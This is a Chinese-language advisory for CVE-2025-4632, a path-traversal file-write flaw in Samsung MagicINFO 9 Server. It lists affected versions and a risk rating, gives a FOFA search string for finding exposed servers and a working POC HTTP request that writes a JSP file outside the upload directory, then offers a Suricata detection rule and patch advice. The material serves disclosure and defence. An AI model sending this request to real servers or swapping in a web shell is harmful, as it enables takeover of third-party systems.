三星MagicINFO-CVE-2025-4632-文件写入¶

三星MagicINFO-CVE-2025-4632-文件写入，写入文件攻击者可执行任意命令导致服务器被控。

影响版本¶

Samsung MagicINFO 9 Server < 21.1052

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：app="MagicInfo-Premium-Server"

POC/EXP：

POST /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/mkMuKD.jsp&deviceType=BFIBRe&deviceModelName=HxzVfJ&swVer=174 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Connection: close
Content-Length: 12
Content-Type: text/plain
Accept-Encoding: gzip

<% out.println("HelloWorld");%>

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"Samsung MagicINFO - Path Traversal File Upload (CVE-2025-4632)";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/MagicInfo/servlet/SWUpdateFileUploader";
    http.uri; pcre:"/fileName=\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/server\/[^&]*\.jsp/i";
    metadata:
        cve CVE-2025-4632,
        service http,
        affected_product "Samsung MagicINFO",
        vulnerability_type "Path Traversal File Upload",
        severity "critical";
    classtype:web-application-attack;
    sid:1000475;
    rev:1;
    priority:1;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限

升级至安全版本。